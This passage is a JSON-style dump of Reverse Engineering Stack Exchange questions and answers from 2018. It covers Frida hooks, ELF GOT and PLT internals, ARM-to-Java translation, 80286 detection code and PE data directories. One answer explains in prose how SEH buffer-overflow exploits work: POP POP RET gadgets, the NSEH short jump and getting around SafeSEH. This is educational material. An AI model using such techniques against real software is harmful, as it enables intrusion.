printf(\"%x::\", e[i]);\n  }\n  putchar(10);\n}\n
    \n\n

    This produces the following output

    \n\n
    61::62::63::64::65::66::67::68::\n65a::3e9::64a::bd6::5c2::11::1a9::85e::\n61::62::63::64::65::66::67::68::\n
    \n\n

    I was able to get back the original array after a decode and encode.

    \n" }, { "Id": "19365", "CreationDate": "2018-09-16T21:12:20.610", "Body": "

    Is there a way to kill/abort the thread/process from a hook (let's say the onLeave hook) in frida-trace?\nIf \"yes\", how?

    \n", "Title": "Killing thread/process from Frida trace", "Tags": "|frida|", "Answer": "

    One (rather ugly) solution to this is simply to crash the program by setting the thread's context's instruction pointer to unmapped memory or kernel memory. You can accomplish that with Frida's interceptor by using this.context:

    \n\n
    onLeave: function (result) {\n    this.context.pc = 0\n}\n
    \n" }, { "Id": "19372", "CreationDate": "2018-09-17T12:24:26.903", "Body": "

    In our course in university, we recently moved on from standard buffer-overflows to SEH based ones.

    \n

    My exploit is already ready and working thanks to some nice tutorials, although I am still not sure I completely understand, when and why we need the SEH buffer-overflow.

    \n

    My understanding so far is that, if there are no explicit exception handlers in the source code, every thread will get an automatic one, specific handlers will be there additionally.

    \n

    For programs, which are vulnerable to SEH BOF a buffer-overflow will cause the e.g. Immunity debugger to pause the program at an exception. Only after the exception is passed to the program the EIP register is overwritten with the malicious buffer.

    \n

    Question 1:

    \n
    \n

    Why does this not happen for every program then since there should be an automatic exception handler in any case?

    \n
    \n

    After passing the exception EIP and ESP are overwritten, with values from my buffer, yet other registers are zeroed out (EAX, EBX, ESI & EDI in my example). So I can control EIP and ESP, but the tutorials mention that it is useless, due to the zeroed out registers.\nHowever, they never explain why the zeroed out registers are the problem - so here is my second lack of understanding.

    \n

    Question 2:

    \n
    \n

    What exactly is the deal with the zeroed out registers and why would they break shellcode execution?

    \n
    \n

    Now we also overwrite the NSEH and SEH records and using a pattern can figure out the exact offset to overwrite those. Then comes the magic with referencing some module which has POP POP RET to get to ESP + 8.

    \n

    Plus eventually yet another jump.

    \n

    Question 3:

    \n
    \n

    Why do I need POP POP RET and the final jump?

    \n
    \n
    \n

    I have the exploit working and can hand it in like this, yet it feels very unsatisfactory and pointless without actually understanding what is going on.\nI only started working with low level stuff recently and still have a lot to learn, so I am very thankful for every help.

    \n", "Title": "WHY and WHEN do we need SEH for buffer overflowing", "Tags": "|windows|x86|immunity-debugger|buffer-overflow|seh|", "Answer": "

    First of all, read this:

    \n\n

    https://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-litchfield.pdf

    \n\n

    That's pretty much how all this started.

    \n\n

    A SEH buffer overflow is a specific stack overflow that targets the EXCEPTION_REGISTRATION_RECORD sitting some arbitrary distance down the stack.

    \n\n
    \n

    Why does this not happen for every program then since there should be an automatic exception handler in any case?

    \n
    \n\n

    Yes it would, as you can't really disable SEH on Windows. Provided your buffer overflow can reach the EXCEPTION_REGISTRATION_RECORD and you can trigger an exception.

    \n\n
    \n

    After passing the exception EIP and ESP are overwritten, with values from my buffer, yet other registers are zeroed out (EAX, EBX, ESI & EDI in my example).

    \n
    \n\n

    from my ntdll.dll version 10.0.17134.254...

    \n\n

    before being XOR'd...

    \n\n

    EAX holds a pointer to the current EXCEPTION_REGISTRATION_RECORD so if you have overwritten EXCEPTION_REGISTRATION_RECORD->Next with the payload address and set the EXCEPTION_REGISTRATION_RECORD->Handler to a random instruction that peformed JMP/CALL [EAX], that might be an attack vector.

    \n\n

    EBX is already set to 0 at the start of RtlDispatchException It previously contained the PEXCEPTION_RECORD.

    \n\n

    ESI is the PEXCEPTION_RECORD and EDI is the PCONTEXT.

    \n\n
    \n

    What exactly is the deal with the zeroed out registers and why would they break shellcode execution?

    \n
    \n\n

    They don't necessarily. Before we get to execution of the handler we have to go through ntdll!KiDispatchUserException -> ntdll!RtlDispatchException which end up overwriting all the registers anyway.

    \n\n

    It's why the kernel saves them in the CONTEXT struct before returning to usermode.

    \n\n

    This exploit isn't a simple EIP hijack. There are big changes to the stack and registers before we get execution after the exception.

    \n\n
    \n

    Why do I need POP POP RET and the final jump?

    \n
    \n\n

    Do you mean why not just set the EXCEPTION_REGISTRATION_RECORD->Handler directly to the shellcode?

    \n\n

    This is a ROP gadget to redirect execution to the value of ESP+8. If you get this far in the exploit then the data at ESP+8 is controllable by you, but you might not necessarily know where that is in advance.

    \n\n

    Secondly, there are many sanity and security checks between the exception and the handler execution. If any of these fail the program is terminated before the handler is run. What these consist of depend on the version of Windows you are targeting. SafeSEH is one of them. Very simply it validates the handler address against a whitelist, but it can't validate for handlers in modules that were not compiled with SafeSEH. So if the POP/POP/RET comes from a module loaded and compiled without SafeSEH, ntdll cannot determine if it's malicious.

    \n\n
    \n

    Plus eventually yet another jump.

    \n
    \n\n

    This is the best part!

    \n\n

    Because ESP+8 is where we will be landing, we can put the shellcode here. Except it's the EXCEPTION_REGISTRATION_RECORD that we need to be intact so EXCEPTION_REGISTRATION_RECORD->Handler makes the first part of the exploit work.

    \n\n

    Luckily, EXCEPTION_REGISTRATION_RECORD->Prev (which you have as NSEH) represents the first 4 bytes to the shellcode where POP/POP/RET will return.

    \n\n

    A short jump in x86 can be encoded with just 2 bytes. So this final jump skips 6 byte over the NSEH so it can remain valid for the exploit to work.

    \n\n

    This blog :

    \n\n

    https://dkalemis.wordpress.com/2010/10/27/the-need-for-a-pop-pop-ret-instruction-sequence/

    \n\n

    Explains the final part far better than I can.

    \n" }, { "Id": "19378", "CreationDate": "2018-09-18T05:49:25.443", "Body": "

    I tried to disassemble a ELF file which is a shared object file executed on armv7a (Android). I saw a strange block. It seems that the PC, program counter register, is set to 0. Did I miss something or do something wrong?

    \n\n
    \n\n

    The process goes into 0x1708 in ARM mode. Below is the strange block of asm code I disassembled from the ELF file.

    \n\n
    ; section: .plt\n; function: function_1708 at 0x1708 -- 0x1718\n0x1708:   04 e0 2d e5       str lr, [sp, #-4]!\n0x170c:   04 e0 9f e5       ldr lr, [pc, #4]\n0x1710:   0e e0 8f e0       add lr, pc, lr\n0x1714:   08 f0 be e5       ldr pc, [lr, #8]!\n; data inside code section at 0x1718 -- 0x171c\n0x1718:   b4 77 00 00                                        |.w..            |\n
    \n\n

    After executing line 0x170c, the LR register should be set as the value at the address 0x1718. The value is 0x77b4 (this file is stored in little-endian). And go ahead.

    \n\n
    0x1710: lr += 0x1710 + 8  // lr = 0x8ecc\n0x1714: pc = *(lr + 8)    // pc = *(0x8ed4)\n        lr += 8  \n
    \n\n

    And 0x8ed4 is in .got section.

    \n\n
    ; section: .got\n0x8eac:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|\n0x8ebc:   00 00 00 00 58 70 00 00  e0 6e 00 00 00 00 00 00   |....Xp...n......|\n0x8ecc:   00 00 00 00 00 00 00 00  00 00 00 00 08 17 00 00   |................|\n0x8edc:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8eec:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8efc:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8f0c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8f1c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8f2c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n0x8f3c:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n
    \n\n

    It seems that the value at 0x8ed4 is zero. I traced to this strange block from JNI_OnLoad(), so no data should be modified before executing this block.

    \n\n

    Did I do something wrong, or is this a specific behavior of ARM architecture?

    \n", "Title": "Disassemble ELF - PC is set to 0?", "Tags": "|android|arm|assembly|", "Answer": "

    While the other answer is not wrong, it does not actually cover the real issue: how come that calling a zero address does not lead to a crash?

    \n\n

    AFAIK there is no official standard or complete documentation for this, but de facto the first few GOT entries are special/reserved and are used by the dynamic loader/linker (sometimes also called interpreter) for its own purposes:

    \n\n
      \n

    • GOT[0] points to the _DYNAMIC symbol of the current module which is the start of the list of tags (Elf32_Dyn entries) with the various information necessary for proper resolution of dynamic symbols. See the ELF specification.

      • \n

    • GOT[1] is populated at runtime with the pointer to the link_map structure containing the list of all dynamic images present in the process. This list resides in the dynamic linker (ld.so on Linux systems and linker binary on Android).

      • \n

    • GOT[2] is also filled in by the dynamic linker and points to the resolver function (_dl_runtime_resolve in glibc, not sure on Android).

      • \n
    \n\n

    The snippet you quoted is the resolver stub which is called on first call of an external symbol (you can see that all GOT entries are initialized to its address, 1708). It fetches GOT[2] and jumps to it, which should end up in the dynamic linker, which would look up the symbol, patch the GOT entry and jump to the function as the last step.

    \n\n

    As I said, there are no (AFAIK) official docs on this, just random pieces of the ELF ABI spec, glibc source code and various blog posts. I would suggest you to step through this code in a debugger to see what actually happens, and match it against the source code. In addition to links from @perror, I found this post which explains some of the reserved GOT entries (although for x64 Linux and not ARM Android).

    \n" }, { "Id": "19387", "CreationDate": "2018-09-18T15:04:18.880", "Body": "

    Currently I am trying to reverse engineer the following armeabi-v7a function:

    \n\n

    \"enter

    \n\n

    I already wrote the following Java code:

    \n\n
     static double getFunc(double param0, double param1, double param2, double param3) {\n      double r3, s7, s8, d4, d5, d6, d7, s10, s12, s13, s14, s15;\n      s14 = 100.0;\n      r3 = param3 - 0xAA;\n      s13 = param0;\n      s15 = param2;\n      s8 = 4.0;\n      s7 = param3;\n      s10 = 7.0;\n      s13 = s13  /s14;\n\n      if (param1 == 1) {\n          s13 = s15 *s13;\n          s15 = s13 * s8;\n          d4 = 0.22;\n          s10 = s15 / s10;\n          d5 = s10;\n          d4 = d5 * d4;\n          d5 = 0.6;\n          s12 = s7 / s14;\n          d5 = d4 * d5;\n          s10 = d5;\n          s12 = s10 + s12;\n      } else {\n          s15 = s15 * s13;\n          d6 = 0.34;\n          s15 = s15 * s8;\n          s10 = s15 / s10;\n          d5 = s10;\n          d5 = d5 * d6;\n          d6 = 0.45;\n          d6 = d5 * d6;\n          s15 = d6;\n          s12 = s7 / s14;\n          s12 = s15 + s12;\n      }\n\n      s14 = 10.0;\n      s14 = s12 * s14;\n      d6 = 0.5;\n      d7 = s14;\n      d7 = d7 + d6;\n      s14 = d7;\n      d6 = 10.0;\n      d7 = s14;\n      d7 = d7 / d6;\n\n      return d7;\n  }\n
    \n\n

    Unfortunately, I don't get the correct result. I am doing something wrong but I am a little bit stuck.

    \n\n

    It might be that I don't understand the parameter handling on the armeabi-v7a assembly. Do I get it right in the code? Is R3 the third parameter? Are R# always integer values or could it be also double values?\nIs the VCVT.F32.F64 important for the Java implementation? If yes, how do I handle them correctly?\nR0 is the return register?

    \n\n

    It would be awesome if somebody could review my code.

    \n\n

    edit: the dissassembly code as requested:

    \n\n
    getFunc       proc\n\n             VLDR    S14, gvar_1318 \n             SUBS    R3, #AAh\n             CMP     R1, #1h\n             VMOV    S13, R0\n             VMOV    S15, R2\n             VMOV.F32 S8, #4.000000E+00\n             VMOV    S7, R3\n             VMOV.F32 S10, #7.000000E+00\n             VDIV.F32 S13, S13, S14\n             BNE     loc 1294\n             VMUL.F32 S13, S15, S13\n             VMUL.F32 S15, S13, S8\n             VLDR    D4, gvar_12F8\n             VDIV.F32 S10, S15, S10\n             VCVT.F64.F32 D5, S10 \n             VCVT.F32.S32 S7, S7 \n             VMUL.F64 D4, D5, D4 \n             VLDR    D5, gvar_1300 \n             VDIV.F32 S12, S7, S14 \n             VMUL.F64 D5, D4, D5 \n             VCVT.F32.F64 S10, D5 \n             VADD.F32 S12, S10, S12\n             B        loc_12C4\nloc_1294:\n             VMUL.F32 S15, S15, S13 \n             VLDR    D6, gvar 1308 \n             VMUL.F32 S15, S15, S8 \n             VDIV.F32 S10, S15, S10 \n             VCVT.F64.F32 D5, S10\n             VMUL.F64 D5, D5, D6 \n             VLDR    D6, gvar_1310 \n             VMUL.F64 D6, D5, D6 \n             VCVT.F32.S32 S7, S7 \n             VCVT.F32.F64 S15, D6 \n             VDIV.F32 S12, S7, S14 \n             VADD.F32 S12, S15, S12\nloc_12C4:\n             VMOV.F32 S14, #1.000000E+01 \n             VMUL.F32 S14, S12, S14 \n             VMOV.F64 D6, #5.000000E-01 \n             VCVT.F64.F32 D7, S14 \n             VADD.F64 D7, D7, D6 \n             VCVT.S32.F64 S14, D7 \n             VMOV.F64 D6, #1.000000E+01 \n             VCVT.F64.S32 D7, S14 \n             VDIV.F64 D7, D7, D6 \n             VCVT.F32.F64 S15, D7\n             VMOV    R0, S15\n             BX      LR\n\ngetFunc        endp\n\n\nLOAD.text:000012F2           db 0, BFh, AFh, F3h, 0, 80h \nLOAD.text:000012F8 gvar_12F8 dq 3FCC28F5C28F5C29h\nLOAD.text:00001300 gvar_1300 dq 3FE3333340000000h \nLOAD.text:00001308 gvar_1308 dq 3FD5C28F5C28F5C3h \nLOAD.text:00001310 gvar_1310 dq 3FDCCCCCC0000000h \nLOAD.text:00001318 gvar_1318 dd 42C80000h\nLOAD.text:0000131C           db AFh, F3h, 0, 80h\n
    \n", "Title": "Reverse engineer a ARM-v7a function", "Tags": "|arm|java|", "Answer": "

    I guess I found the error.

    \n\n

    I incorrectly translated the assembly SUBS R3, #AAh into r3 = param3 - 0xAA; but it should be param3 = param3 - 0xAA;

    \n\n

    Could an expert confirm my mistake?

    \n" }, { "Id": "19392", "CreationDate": "2018-09-18T19:31:28.870", "Body": "

    I used readelf to read the information of the ELF file. I found the address of .got section in the section header is different from the GOT entry point address read from the dynamic section. Is the data which stored between .got address and the entry point of GOT like garbage? The follow is apart of information got from readelf.

    \n\n
    \n\n

    ELF Header - This ELF is run on ARMv7A.

    \n\n
    ELF Header:\n  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 \n  Class:                             ELF32\n  Data:                              2's complement, little endian\n  Version:                           1 (current)\n  OS/ABI:                            UNIX - System V\n  ABI Version:                       0\n  Type:                              DYN (Shared object file)\n  Machine:                           ARM\n  Version:                           0x1\n  Entry point address:               0x0\n  Start of program headers:          52 (bytes into file)\n  Start of section headers:          38412 (bytes into file)\n  Flags:                             0x5000200, Version5 EABI, soft-float ABI\n  Size of this header:               52 (bytes)\n  Size of program headers:           32 (bytes)\n  Number of program headers:         8\n  Size of section headers:           40 (bytes)\n  Number of section headers:         26\n  Section header string table index: 25\n
    \n\n
    \n\n

    Section Headers - The address of .got section is at 0x00008eac

    \n\n
    Section Headers:\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] .note.gnu.build-i NOTE            00000134 000134 000024 00   A  0   0  4\n  [ 2] .dynsym           DYNSYM          00000158 000158 0006a0 10   A  3   1  4\n  [ 3] .dynstr           STRTAB          000007f8 0007f8 000704 00   A  0   0  1\n  [ 4] .hash             HASH            00000efc 000efc 000334 04   A  2   0  4\n  [ 5] .gnu.version      VERSYM          00001230 001230 0000d4 02   A  2   0  2\n  [ 6] .gnu.version_d    VERDEF          00001304 001304 00001c 00   A  3   1  4\n  [ 7] .gnu.version_r    VERNEED         00001320 001320 000020 00   A  3   1  4\n  [ 8] .rel.dyn          REL             00001340 001340 000178 08   A  2   0  4\n  [ 9] .rel.plt          REL             000014b8 0014b8 000250 08  AI  2  10  4\n  [10] .plt              PROGBITS        00001708 001708 00038c 00  AX  0   0  4\n  [11] .text             PROGBITS        00001a94 001a94 0053d4 00  AX  0   0  4\n  [12] .ARM.extab        PROGBITS        00006e68 006e68 000078 00   A  0   0  4\n  [13] .ARM.exidx        ARM_EXIDX       00006ee0 006ee0 000178 08  AL 11   0  4\n  [14] .rodata           PROGBITS        00007058 007058 000038 00  AM  0   0  4\n  [15] .fini_array       FINI_ARRAY      00008cf8 007cf8 000008 00  WA  0   0  4\n  [16] .data.rel.ro      PROGBITS        00008d00 007d00 00007c 00  WA  0   0  4\n  [17] .init_array       INIT_ARRAY      00008d7c 007d7c 000008 00  WA  0   0  4\n  [18] .dynamic          DYNAMIC         00008d84 007d84 000128 08  WA  3   0  4\n  [19] .got              PROGBITS        00008eac 007eac 000154 00  WA  0   0  4\n  [20] .data             PROGBITS        00009000 008000 001450 00  WA  0   0  4\n  [21] .bss              NOBITS          0000a450 009450 000004 00  WA  0   0  4\n  [22] .comment          PROGBITS        00000000 009450 000065 01  MS  0   0  1\n  [23] .note.gnu.gold-ve NOTE            00000000 0094b8 00001c 00      0   0  4\n  [24] .ARM.attributes   ARM_ATTRIBUTES  00000000 0094d4 000034 00      0   0  1\n  [25] .shstrtab         STRTAB          00000000 009508 000103 00      0   0  1\nKey to Flags:\n  W (write), A (alloc), X (execute), M (merge), S (strings)\n  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\n  O (extra OS processing required) o (OS specific), p (processor specific)\n
    \n\n
    \n\n

    A Part of Dynamic Section

    \n\n
    Dynamic section at offset 0x7d84 contains 32 entries:\n  Tag        Type                         Name/Value\n 0x00000003 (PLTGOT)                     0x8ecc\n 0x00000002 (PLTRELSZ)                   592 (bytes)\n 0x00000017 (JMPREL)                     0x14b8\n 0x00000014 (PLTREL)                     REL\n 0x00000011 (REL)                        0x1340\n 0x00000012 (RELSZ)                      376 (bytes)\n 0x00000013 (RELENT)                     8 (bytes)\n 0x6ffffffa (RELCOUNT)                   41\n 0x00000006 (SYMTAB)                     0x158\n 0x0000000b (SYMENT)                     16 (bytes)\n 0x00000005 (STRTAB)                     0x7f8\n 0x0000000a (STRSZ)                      1796 (bytes)\n 0x00000004 (HASH)                       0xefc\n ...\n
    \n\n
    \n\n

    Tail of .dynamic and Head of .got

    \n\n
    ...\n0x8e84:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|\n0x8e94:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|\n0x8ea4:   00 00 00 00 00 00 00 00  00                        |.........       |\n; section: .got\n0x8eac:   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   |................|\n0x8ebc:   00 00 00 00 58 70 00 00  e0 6e 00 00 00 00 00 00   |....Xp...n......|\n0x8ecc:   00 00 00 00 00 00 00 00  00 00 00 00 08 17 00 00   |................|\n0x8edc:   08 17 00 00 08 17 00 00  08 17 00 00 08 17 00 00   |................|\n...\n
    \n\n

    The Oracle's specification mentioned:

    \n\n
    \n

    The symbol _GLOBAL_OFFSET_TABLE_ can be used to access the table. This symbol can reside in the middle of the .got section, allowing both negative and nonnegative subscripts into the array of addresses.

    \n
    \n\n

    But the data before the entry of GOT are quietly different from others. All of the other data points to the very first PLT address(0x1708). Is the space before the entry point of GOT used to store the address of external functions as the same as others, or there are other ways to use them, or they are just unuseful garbage?

    \n\n
    \n\n

    Update

    \n\n

    I found there are two numbers in the block 0x8eac to 0x8ecb, the block before the entry point of the GOT. At 0x8ec0, 0x7058 is the address of .rodata section. And at 0x8ec4, 0x6ee0 is the address of .ARM.exidx section. Is it that filling these two address in .got a specific feature of the chain tools and compilers for ARM?

    \n\n

    I have not seen any specification of ELF mentions this.

    \n", "Title": "ELF - The start address of .got section is different from the entry point address of the GOT(global offset table)", "Tags": "|arm|elf|", "Answer": "

    It's difficult to say without the sample, but you need to keep in mind that the dynamic loader does not care about sections. It only uses information from the program headers, including the PT_DYNAMIC entry (it may well be different from the .dynamic section in which case the section's contents is simply ignored).

    \n\n

    While customarily the GOT starts at the beginning of the .got section, it is not a requirement for the loader to do its job. It only uses the dynamic tags and dynamic relocation info (DT_JMPREL, DT_PLTREL, DT_REL, plus DT_SYMTAB,DT_STRTAB and DT_HASH and for symbol resolution). In fact, you can remove the section table completely and the file will still run (but some tools may have difficulties parsing it).

    \n\n

    Possibly some other section got merged with .got, although I don't know what it could be.

    \n" }, { "Id": "19394", "CreationDate": "2018-09-19T02:39:50.910", "Body": "

    I'm poking through a disassembled 16-bit DOS game circa 1992. The original system requirements state that the game needs an IBM AT-compatible machine or later, with the 286 processor, to run. And there's a stub around main() that checks for the processor and displays an error message if one is not found.

    \n

    I was intrigued as to what was actually being tested for, and I tracked down what appears to be the test procedure. It's comprised of five sub-tests, which are run conditionally, and it returns an integer in the range 0..7 depending on the results of the tests. I figured out, broadly, what the code does (although there may be errors; I'm still rather inexperienced and sometimes misread/misinterpret the meanings of instruction sequences).

    \n
    ; ... stack setup omitted ...\npushfw\n\n; ==========================================\n; === CHECK #1 =============================\n; ==========================================\n; Sets FLAGS to 0x0 and then immediately reads it back. On an 8086/80186, bits\n; 12-15 always come back set. On a 80286+ this is not the case.\n; 8086/80186 behavior: jump to check 3.\n; 80286+ behavior: fall through to check 2.\nxor ax,ax      ; AX=0x0\npush ax\npopfw          ; pop 0x0 into FLAGS\npushfw\npop ax         ; pop FLAGS into AX\n\nand ax,0xf000  ; bits 12-13: IOPL, always 1 on 86/186\ncmp ax,0xf000  ; bit 14: NT, always 1 on 86/186\n               ; bit 15: Reserved, always 1 on 86/186, always 0 on 286+\njz check3\n\n; ==========================================\n; === CHECK #2 =============================\n; ==========================================\n; Only runs if CPU is plausibly an 80286. Last check before returning.\n; Sets DL=0x6 if IOPL and NT flag bits are all clear.\n; Sets DL=0x7 if any bits in IOPL/NT flags are set.\nmov dl,0x6     ; DL is the proc's return val\nmov ax,0x7000\npush ax\npopfw          ; pop 0x7000 into FLAGS\npushfw\npop ax         ; pop FLAGS into AX\n\nand ax,0x7000  ; bits 12-13: IOPL\n               ; bit 14: NT\njz done\ninc dl         ; DL=0x7 if any bit was set\njmp done\nnop\n\n; ==========================================\n; === CHECK #3 =============================\n; ==========================================\n; Only runs if CPU seems to be an 8086/80186.\n; Sets DL=0x4 and moves on to...\n;   check 4 if 0xff >> 21 == 0\n;   check 5 otherwise (how can this happen?)\ncheck3:\nmov dl,0x4     ; DL is the proc's return val\nmov al,0xff\nmov cl,0x21\nshr al,cl      ; AL = 0xff >> 0x21\njnz check5     ; when does this happen?\n\n; ==========================================\n; === CHECK #4 =============================\n; ==========================================\n; At this point, DF is still 0. ES doesn't\n; point to anything sensible.\n; Sets DL=0x2 if the loop completes.\n; Sets DL=0x0 if the loop does not complete.\n; Moves onto check 5 unconditionally.\nmov dl,0x2     ; DL is the proc's return val\nsti            ; are interrupts important?\npush si\nmov si,0x0\nmov cx,0xffff\nrep lods [BYTE PTR es:si] ; read 64K, ES[SI]->AL, all junk?\npop si\nor cx,cx       ; test if loop reached 0\njz check5\nmov dl,0x0     ; didn't hit 0. interrupted?\n\n; ==========================================\n; === CHECK #5 =============================\n; ==========================================\n; Leaving memory addresses here because they seem important.\n; Here, DL is either 0x0 or 0x2 from check 4, or 0x4 from check 3. Looks like,\n; contingent on the INC instruction getting overwritten, DL either stays at\n; 0x0/0x2/0x4, or becomes 0x1/0x3/0x5.\ncheck5:\n00000B74  push cs\n00000B75  pop es        ; Set ES to CS. (why not mov es,cs? illegal?)\n00000B76  std           ; DF=1, rep decrements CX\n00000B77  mov di,0xb88\n00000B7A  mov al,0xfb   ; is this just an STI opcode?\n00000B7C  mov cx,0x3\n00000B7F  cli           ; are interrupts undesired?\n00000B80  rep stosb     ; write 3 bytes, AL->ES[DI]\n00000B82  cld           ; DF=0, why does it matter now?\n00000B83  nop\n00000B84  nop\n00000B85  nop\n00000B86  inc dx        ; destination when CX=1. overwritten?\n00000B87  nop           ; destination when CX=2\n00000B88  sti           ; destination when CX=3\n\ndone:\npopfw\nxor dh,dh      ; only keep low bits\nmov ax,dx      ; return through AX\n; ... stack teardown omitted ...\nretf\n\n; Return values:\n; AX == 0x0: 8086, normal right-shift, loop aborted, overwrites\n; AX == 0x1: 8086, normal right-shift, loop aborted, did not overwrite\n; AX == 0x2: 8086, normal right-shift, loop finished, overwrites\n; AX == 0x3: 8086, normal right-shift, loop finished, did not overwrite\n; AX == 0x4: 8086, weird right-shift, overwrites\n; AX == 0x5: 8086, weird right-shift, did not overwrite\n; AX == 0x6: 286, with clear IOPL/NT flags\n; AX == 0x7: 286, with set IOPL/NT flags\n
    \n

    Here's what I can figure so far:

    \n

    Check 1: Seems straightforward. Explicitly set FLAGS to 0x0 and then read it back. The 8086 will force all bits 12..15 to 1, and the 286 won't. Source.

    \n

    Check 2: Only for the 286, seems to be similar to check 1 but with special focus on the protected mode flags. Not sure what significance this is to the caller.

    \n

    (An aside: If we're assuming the CPU is a 286, couldn't it have been push 0x7000 instead of mov ax,0x7000; push ax?)

    \n

    Check 3: Computes 0xff >> 0x21 and looks for a result other than 0. How does this ever happen? Is there a reason the nonzero result obviates the need for check 4?

    \n

    Check 4: Reads 64K from ES into AL. Seems like busywork; ES has not been set to anything useful, and AL is not read from. Core of the test seems to be built around the idea of CX never reaching zero, possibly because of an interrupt somewhere during the loop? Shouldn't the interrupt procedure iret and return here to finish?

    \n

    Check 5: Self-modifying code? Looks like it replaces the last few instructions of the test with STI, thus removing the INC that would otherwise affect the return value? What is the circumstance under which it would fail to overwrite, and thus execute the INC?

    \n

    (An aside: Could push cs; pop es be rewritten as mov es,cs or is that not a legal form?)

    \n

    I feel like I'm pretty far along in understanding it, but there are clearly a few holes remaining. I'm also not anywhere near fluent in x86, so there may be misinterpretations in my translated comments as well. I get the sense that there's some real cleverness here, written by somebody who knew the intricacies of these machines at a very detailed level. I'd like to understand their magic on some level, if I can.

    \n", "Title": "How did this 80286 detection code work?", "Tags": "|disassembly|x86|dos|dos-exe|", "Answer": "

    Check 2: While check 1 tests if the high-order bits of the flag word can be cleared, check 2 tests whether they can be set. On an 80286, these bits cannot be set in real mode, while on an 80386 they can.

    \n\n

    Check 3: This is testing what kind of shifter the processor has. Some (the newer ones) have a barrel shifter that effectively masks the shift count to the word size (and the use of 0x21 as the shift count suggests to me that the difference appeared in the post-80286 era). So a shift by 0x21 (33) gives the same result as a shift by 33 - 32 = 1. I don't know at which generation the barrel shifter appeared.

    \n\n

    Check 4: I can't remember the details, but parts of it seem familiar to me. It's either got something to do with the repeat count being wrong after a maximal-length loop, or something with having a double instruction prefix that triggers a CPU bug. I think it's the latter, and the order of prefixes matters. When an interrupt handler returns, the instruction pointer is set to the wrong address and one or more prefixes are forgotten. Illustration: https://www.youtube.com/watch?v=6FC-tcwMBnU Note that the code you have here actually has the es: override prefix first, so the loop should always complete! Could this be a CPU bug detection routine, that itself contains a bug?

    \n\n

    Check 5: This is checking for an instruction cache that operates independently of any data cache. On an 80486 you can stomp all over the 16-byte window in which the processor is currently executing, and it will still execute the old contents that were loaded into the (separate) instruction cache. I think Pentium+ processors detect this overwriting and flush the instruction cache and prefetch queue. Even the earliest x86 processors have a prefetch queue long enough (except the 8088) to cover the instructions being overwritten. Conditions under which the new code gets executed: on a Pentium+ (IIRC), under a single-stepping debugger, in v86 mode where the CLI instruction doesn't really take effect, and an interrupt occurs.

    \n" }, { "Id": "19396", "CreationDate": "2018-09-19T11:50:36.220", "Body": "

    I have a PE file (notepad), the NumberOfRvaAndSize value in the COFF header is 0x10, and there are 16 DataDirectory entries as expected.

    \n\n

    The documentation says that this value can change (though I've never seen it), which would mean there were greater than of fewer than 16 entries.

    \n\n

    Immediatly after there's a list of 16 data directories complete with names.

    \n\n
      \n
    1. Are these names just always the same, in that exact order?
      2. \n
    2. If there are fewer, will it always be whatever directories are at the end that will be missing?
      3. \n
    3. If there are greater than 16, what are they called?
      4. \n
    \n", "Title": "Are the names of COFF Data Directories fixed?", "Tags": "|windows|pe|file-format|executable|", "Answer": "

    In short:

    \n\n
      \n
    1. Yes
      2. \n
    2. Correct
      3. \n
    3. You have to have a specification to know.
      4. \n
    \n\n

    The data directories are a fixed sparse array, and the meaning of each slot is defined by the specification, so (for example) the Export table is always the first entry, it can't move. If you don't have an Export table (but you do have other directories), then the Size and VirtualAddress fields will be zero.

    \n\n
    \n

    Note that the number of directories is not fixed. Before looking for a specific directory, check the NumberOfRvaAndSizes field in the optional header.

    \n
    \n\n

    So if the NumberOfRvaAndSizes member is 2, then you can look at the Export table and the Import table, but nothing else.

    \n\n

    Parsers are built against the specification, so if they encounter a PE file with a NumberOfRvaAndSizes value greater than what they know about, then they don't know what the data is or how to interpret it (and no way to find out by inspecting the PE file). Same goes for any Directory that is reserved or otherwise undocumented.

    \n" }, { "Id": "19399", "CreationDate": "2018-09-19T16:36:00.930", "Body": "

    I am trying to modify a game (Fallout New Vegas) to not show a pause menu when the window loses focus.\nI thought of two approaches:

    \n\n
      \n

    • Find the code that is called when focus changes and nop the call which would show the pause menu.

      • \n

    • Find the code which determines whether the game is focussed and nop that

      • \n
    \n\n

    There is already a reliable way to patch the game's executable at runtime, however I am unsure of the best way to locate the code called when the game loses focus.

    \n\n

    I tried using cheat engine to find the variables that represent whether the game is focussed, however when checking the code around the variable I couldn't find anything that calls the menu to open.

    \n\n

    Any ideas on how to approach this?

    \n", "Title": "Prevent game from pausing on lost focus (Fallout New Vegas)", "Tags": "|disassembly|", "Answer": "

    I recommend you to use differential debugging. You can do it with IDA or with other tools like BinNavi (if your target is a 32bits one). Basically, you have to do the following:

    \n\n
      \n
    1. Record an initial trace since the beginning of the game, do things in the game and then exit from the game's menu.
      2. \n
    2. Record a new trace and, this time, put the window out of the focus.
      3. \n
    3. Diff the previous 2 traces and see where is the new code that was executed specifically at the 2nd trace.
      4. \n
    \n" }, { "Id": "19408", "CreationDate": "2018-09-20T13:29:35.763", "Body": "

    I wanted to ask whether there is a simple way to see an object's structure (like windbg's \"dt\" command equivalent)?

    \n\n

    Assuming of course I have the pdb file.

    \n\n

    Thank you :)

    \n", "Title": "Windbg's \"dt\" equivalent in IDA?", "Tags": "|ida|static-analysis|windbg|", "Answer": "

    You need to import your structure to idb in the local types window (shift F1), then you can apply your imported structure on the data which is pointed by cursor (ALT-Q)

    \n" }, { "Id": "19429", "CreationDate": "2018-09-23T00:01:31.083", "Body": "

